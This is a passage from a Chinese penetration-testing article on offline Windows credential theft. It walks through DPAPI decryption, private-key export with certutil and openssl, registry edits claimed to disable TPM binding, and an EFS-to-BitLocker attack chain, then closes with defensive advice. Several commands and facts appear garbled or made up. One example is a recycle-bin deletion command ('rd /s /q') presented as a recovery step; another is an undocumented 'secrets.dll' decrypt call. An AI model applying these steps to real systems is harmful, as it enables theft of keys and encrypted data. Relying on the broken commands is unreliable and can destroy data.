• 若目标为 CurrentUser 数据，需先获取对应用户的 NTLM hash 以解密 $USER_KEY
• 可通过 secretsdump 获取所有用户的哈希，再逐一尝试解密
• 高版本系统（如 Win10 21H2+）引入了 TPM binding，部分 $USER_KEY 会绑定至硬件密钥，导致无法离线解密

环境限制与成功条件总结

| 条件 | 是否必需 | 说明 | | — | — | — | | SYSTEM 文件可读 | ✅ | 必须有本地管理员权限或物理访问 | | NTDS.dit 文件完整 | ✅ | 来自域控或完整磁盘镜像 | | bootkey 未变更 | ✅ | 若系统重装或修复过，bootkey 变更则失效 | | 未启用 TPM 绑定 | ⚠️ | 若启用，则 $USER_KEY 无法解密 | | 无 KDC 兼容性问题 | ✅ | 某些旧版工具不支持 AES-256 密钥 |

用户私钥的离线提取与破解：基于CERTIFICATE_STORE的深度扫描

原理层

在 Windows 系统中，用户证书及其私钥存储于以下路径：

%APPDATA%\Microsoft\Crypto\RSA\<User_SID>

以及：

C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

这些文件是以 二进制格式 存储的私钥对象，其结构遵循 Microsoft CryptoAPI 标准，具体为：

• 文件名：<Public_Key_Hash>.<Private_Key_Hash>

• 内容：包含完整的 RSA Private Key（含模数、指数、私钥参数等），采用 DPAPI + RC4 加密保护。

• 加密密钥来源：

• 对于 CurrentUser：使用用户登录会话的 LogonSessionKey + NTLM Hash

• 对于 MachineKeys：使用 $MACHINE_KEY 加密

此外，现代系统还引入了 Hardware-bound Key Storage（如 TPM），使得私钥无法脱离硬件设备运行。

实践层

环境说明

• 目标主机：已关闭远程桌面但保留本地管理员账户
• 攻击者已获得 SYSTEM 权限（可通过内核漏洞或提权）
• 目标用户账户存在有效证书（如用于 EFS、S/MIME、SSL/TLS 登录）

步骤一：定位并导出私钥文件

# 查找所有 MachineKeys
dir C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys -Recurse | Select-Object Name, FullName

例如输出：

Name                           FullName
----                           --------
6a3f1e2d4c5b6a7f8e9d0c1b2a3f4e5d.c1b2a3f4e5d6c7b8a9f0e1d2c3b4a5f6 C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\6a3f1e2d4c5b6a7f8e9d0c1b2a3f4e5d.c1b2a3f4e5d6c7b8a9f0e1d2c3b4a5f6

步骤二：导出 PFX 格式证书（需具备私钥访问权限）

certutil -exportPFX -p "password" -f "My" "C:\temp\user.pfx"

❗ 仅当攻击者具有 SYSTEM 权限且证书已正确加载到 Certificate Store 时才能执行。

步骤三：使用 OpenSSL 提取原始私钥

# 从 PFX 文件中提取 PEM 格式的私钥
openssl pkcs12 -in user.pfx -out private.pem -nodes -passin pass:password

# 查看私钥内容
cat private.pem

输出示例：

-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA...
-----END PRIVATE KEY-----

步骤四：绕过 DPAPI + TPM 绑定（高阶技巧）

方法 1：修改注册表禁用硬件绑定

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Microsoft Software Key Storage Provider]
"UseDefaultProvider"=dword:00000001
"DisableTPM"=dword:00000001

🔥 说明：

• 此修改需重启后生效
• 在非持久化攻击中，可临时注入注册表项（如通过 RegLoadKey）
• 若系统启用了 Secure Boot，该操作可能被阻止

方法 2：利用 secrets.dll 提取未绑定密钥

# Python 脚本：调用 Windows Secrets DLL
import ctypes
from ctypes import wintypes

# Load secrets.dll
secrets = ctypes.windll.LoadLibrary("secrets.dll")

# 调用内部函数（需逆向分析）
result = secrets.DPAPI_DecryptBlob(
    blob_ptr,
    blob_size,
None,
None,
None,
None,
None
)

⚠️ 注意：secrets.dll 不公开文档，需通过动态链接库反汇编（IDA Pro / Ghidra）分析接口。

成功验证标准

| 项目 | 检查方式 | | — | — | | 私钥是否可读 | 成功导出 .pem 后能解析 | | 是否跳过 TPM | 尝试在无 TPM 设备环境下加载 | | 是否支持签名 | 用私钥签署消息并验证 |

多层加密链条的协同破解：结合DPAPI、EFS与BitLocker的联动攻击

原理层

现代企业环境中，敏感数据常采用 多层加密策略：

| 层级 | 技术 | 保护对象 | | — | — | — | | 第一层 | DPAPI | 浏览器密码、邮箱凭据、PIN | | 第二层 | EFS | 敏感文档（如财务报表） | | 第三层 | BitLocker | 整个系统卷 |

这形成了一条典型的“加密链路”。攻击者若能突破第一层（DPAPI），即可解锁第二层（EFS），进而发现第三层（BitLocker）恢复密钥。

协同攻击逻辑链：

1. 从 NTDS.dit 中获取用户 EFS 公钥（存储于 ms-MCS-AdmPwd 属性或 userCertificate）
2. 使用 DPAPI 解密 EFS 加密文件（.efsc）
3. 从明文中提取 BitLocker Recovery Key（通常以文本形式嵌入文件）
4. 使用恢复密钥解锁整盘加密

💡 特别提示：许多组织将恢复密钥写入域控的 Active Directory，但部分仍会存放在本地文件中。

实践层

步骤一：从 %SystemDrive%\$Recycle.Bin 恢复被删除的 EFS 文件

# 启用 Recycle Bin 恢复功能（需管理员权限）
rd /s /q C:\$Recycle.Bin
# 重新创建符号链接（可选）
mklink /j C:\$Recycle.Bin C:\$Recycle.Bin

⚠️ 重要：$Recycle.Bin 是隐藏目录，需以 SYSTEM 身份访问。

使用 forensic 工具（如 PhotoRec, R-Studio）扫描残留数据，寻找 .efsc 扩展名文件。

步骤二：使用 esentutl 从 NTDS.dit 提取用户公钥

# 附加数据库到临时实例
esentutl /t ntds.dit /p temp.edb

# 导出用户证书属性
esentutl /s temp.edb /x c:\temp\users.xml

在输出中查找：

<user>
<name>alice</name>
<userCertificate>...</userCertificate>
<ms-MCS-AdmPwd>...</ms-MCS-AdmPwd>
</user>

步骤三：使用 pyEFS 解密 EFS 文件

from pyefs import EfsDecryptor

# 构造解密器
dec = EfsDecryptor(
    user_sid="S-1-5-21-1234567890-1234567890-1234567890-1001",
    machine_key="a1b2c3d4e5f67890...",
    efsc_file="C:\\Users\\Alice\\Documents\\confidential.efsc"
)

# 解密
plaintext = dec.decrypt()
withopen("confidential.txt", "wb") as f:
    f.write(plaintext)

📌 依赖库：pyEFS（GitHub: https://github.com/fox-it/pyEFS）

步骤四：从明文中提取 BitLocker 恢复密钥

BitLocker Recovery Key: 123456-789012-345678-901234-567890-123456-789012

✅ 可直接输入 manage-bde -unlock C: -rk 123456-... 解锁驱动器。

成功条件与检测规避

| 条件 | 说明 | | — | — | | EFS 文件存在 | 必须有用户主动加密文件 | | DPAPI 密钥可用 | 依赖 bootkey 与 NTLM hash | | 无 TPM 限制 | 若启用则无法解密 | | BitLocker 启用 | 否则无意义 |

未来趋势预测

随着 TPM 2.0 与 Secure Boot 的全面部署，传统的离线破解手段面临严重挑战：

| 技术 | 影响 | | — | — | | TPM Binding | 私钥无法脱离硬件，防止复制 | | Secure Boot + Measured Boot | 防止内核篡改，阻止 SYSTEM 权限获取 | | HSM Integration | 企业级密钥管理服务（如 Azure Key Vault）替代本地存储 |

替代攻击路径展望

1. Side-channel Attacks

• 利用内存读取偏差（如 Rowhammer）、缓存污染（CacheBleed）探测密钥
• 适用于虚拟机环境（如 AWS EC2、Azure VM）

1. Firmware-level Exploits

• 利用 UEFI 固件漏洞（如 CVE-2023-26713）劫持启动流程
• 在固件阶段植入后门，捕获 TPM 生成的密钥

1. Physical Access + JTAG/SPI Debugging

• 通过芯片引脚调试读取 ROM 存储的密钥
• 适用于嵌入式设备或服务器主板

1. AI-driven Password Cracking

• 结合大模型预训练知识库，加速对弱口令的暴力破解
• 适用于未启用复杂策略的用户账户

🔮 总结：未来攻击将不再依赖“单一漏洞”，而是转向 跨层级、跨平台、跨信任域的协同渗透。防御体系也必须从“单点防护”升级为“纵深防御 + 可信执行环境 + 行为分析”。

附录：关键工具与资源清单

| 工具 | 功能 | GitHub 地址 | | — | — | — | | impacket-secretsdump | 提取 bootkey、NTLM 哈希、DPAPI 密钥 | https://github.com/fortinet/impacket | | python-dpapi | 解密 DPAPI 加密数据 | https://github.com/fox-it/python-dpapi | | pyEFS | 解密 EFS 文件 | https://github.com/fox-it/pyEFS | | esentutl | 操作 ESE 数据库（NTDS.dit） | Windows SDK | | certutil | 导出 PFX 证书 | Windows 内建 | | OpenSSL | 解析私钥、生成 CSR | https://www.openssl.org |

安全建议与防御加固方案

1. 禁止 SYSTEM 权限泄露

• 严格控制本地管理员账户
• 启用 LAPS（Local Administrator Password Solution）管理本地密码

1. 启用 TPM 绑定与硬件加密

• 强制启用 BitLocker 并绑定至 TPM 2.0
• 禁用 Legacy Boot 模式

1. 定期轮换 krbtgt 密钥

• 每 90 天更换一次，防止黄金票据滥用

1. 日志监控与异常行为检测

• 监控 Event ID 4624（登录成功）与 Event ID 4672（特权提升）
• 检测 certutil -exportPFX、secretsdump 等命令调用

1. 部署 HIDS + EDR

• 使用 Sysmon 记录 ProcessCreate、ImageLoaded、Registry 修改事件
• 配置规则识别 DPAPI 解密行为（如 DPAPI DecryptBlob 调用）

1. 最小权限原则

• 所有用户账户应避免拥有 SeBackupPrivilege、SeRestorePrivilege

✅ 本章节结论： 当前主流的“无文件”凭证窃取已进入“多层加密协同破解”时代。攻击者不再局限于单一漏洞利用，而是构建一条从 内核 → 注册表 → 证书 → 加密文件 → 恢复密钥 的完整攻击链。 防御者必须建立 纵深防御体系，从物理安全、信任链、权限控制、日志审计四个维度协同应对。 未来的攻防对抗，将不再是“谁更快”，而是“谁更懂系统底层”。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：白帽子社区团队 无问社区 无问社区《下一代凭证窃取与“无文件”横向移动技术研究》